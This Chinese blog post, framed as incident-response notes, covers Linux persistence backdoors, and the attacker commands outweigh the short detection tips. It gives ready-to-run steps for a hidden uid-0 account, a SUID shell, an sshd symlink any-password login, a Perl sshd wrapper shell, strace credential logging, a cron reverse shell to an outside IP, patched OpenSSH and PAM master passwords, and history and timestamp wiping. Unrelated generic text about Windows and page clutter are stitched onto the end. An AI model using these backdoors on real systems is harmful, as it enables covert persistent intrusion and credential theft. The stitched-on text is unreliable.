应急响应实战笔记——权限维持篇:④ Linux权限维持&后门篇

目录

1、一句话添加用户和密码

2、SUID Shell

3、ssh公私钥免密登录

4、软连接

5、SSH wrapper

6、strace后门

7、crontab反弹shell

8、openssh后门

9、PAM后门

10、rookit后门



 

本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。

1、一句话添加用户和密码

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
	
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
	
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

2、SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用guest用户登录就可疑获取root权限。

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

# 在Linux中查找SUID设置的文件
find . -perm /4000 
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

3、ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

4、软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

5、SSH wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

客户端:

socat STDIO TCP4:target_ip:22,sourceport=13377

#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

排查技巧:

# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。

6、strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

排查技巧:使用alias即可发现异常。

7、crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

排查技巧:

# 查看可疑的定时任务列表
crontab -e

8、openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

c、记录用户名和密码的文件位置及其密码
vi  includes.h
	#define ILOG "/tmp/1.txt"             //记录登录本机的用户名和密码
	#define OLOG "/tmp/2.txt"             //记录本机登录远程的用户名和密码
	#define SECRETPW "123456789"          //后门的密码

d、修改版本信息
vi version.h
	#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
	#define SSH_PORTABLE "小版本号"
	
e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart

f、对比原来的配置文件,使配置文件一致,然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志

排查技巧:利用strace找出ssh后门.

# 1、获取可疑进程PI
ps aux | grep sshd
# 2、跟踪sshd PID
strace -o aa -ff -p  PID
# 3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e  null -e denied| grep  WR

9、PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。

利用方法:

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查技巧:

# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

10、rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

连接后的截图:

排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

  • 17
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Windows是由微软公司开发的一种操作系统。它具有易用性、兼容性和强大的功能。Windows系统首次发布于1985年,此后,其不断地升级和发展,发展出了多个版本,如Windows 95、Windows 98、Windows 2000、Windows XP、Windows Vista、Windows 7、Windows 8和Windows 10等。 Windows的界面具有友好的用户操作界面和图形化界面,使得普通用户也能够方便地使用电脑。其系统的兼容性很强,大部分软件和硬件都可以与之兼容。同时,Windows拥有大量的应用程序和游戏,用户可以通过这些来扩展系统的功能和增加趣味性。 除此之外,Windows还提供了一系列高级功能和设置,如安全性、网络连接、多媒体处理、远程控制等。这些功能可满足不同用户的需求。 总之,Windows作为使用最广泛的操作系统之一,其稳定性和易用性受到广泛认可,使得大部分用户能够轻松地利用它进行工作和娱乐,成为了当今世界的主流操作系统之一。 ### 回答2: Windows是一种操作系统,由微软公司开发。它是世界上最流行的操作系统之一,被广泛用于个人电脑和服务器。Windows提供了一个基于图形用户界面(GUI)的交互式桌面环境,用户可以从桌面上访问文件、程序和设备。Windows还提供了许多其他功能,如网络连接、安全性和数据备份。Windows系统的版本包括Windows 10、Windows 8、Windows 7、Windows Vista和Windows XP等。其中,Windows 10是最新和最广泛使用的版本。Windows 10具有新的功能和更新的应用程序,如Windows相机、Windows照片、Cortana助手和Microsoft Edge浏览器。Windows操作系统也提供了广泛的支持和用户社区,使得用户可以轻松获取帮助和支持。总的来说,Windows是一种功能齐全、易于使用和广泛使用的操作系统,它被广泛用于各种设备和应用程序中。 ### 回答3: Windows是由微软公司开发的一款操作系统,是全球使用最广泛的操作系统之一。Windows系统的开发历史可以追溯到1981年,从最初的DOS操作系统到现在的Windows 10系统,经历了多个版本的更新与完善。Windows系统简单易用,具有强大的兼容性和丰富的软件支持,可以满足用户在不同领域的各种需求。 Windows系统的主要功能包括文件管理、网络连接、多媒体播放、游戏娱乐、办公应用等。Windows系统还提供了大量的系统工具和服务,如磁盘清理、防病毒软件、网络安全等,以保障用户的系统安全和稳定性。 作为国际知名软件品牌,Windows系统一直以来都致力于在用户体验、系统性能和数据安全方面不断提升,目前Windows 10系统已经融入了人工智能和云计算等先进技术,为用户提供更加精准和高效的服务体验。 总之,Windows系统是一款功能强大、易用、安全可靠的操作系统,无论是个人用户还是企业机构,都能够从中受益并实现更好的生产和生活效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你可知这世上再难遇我

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值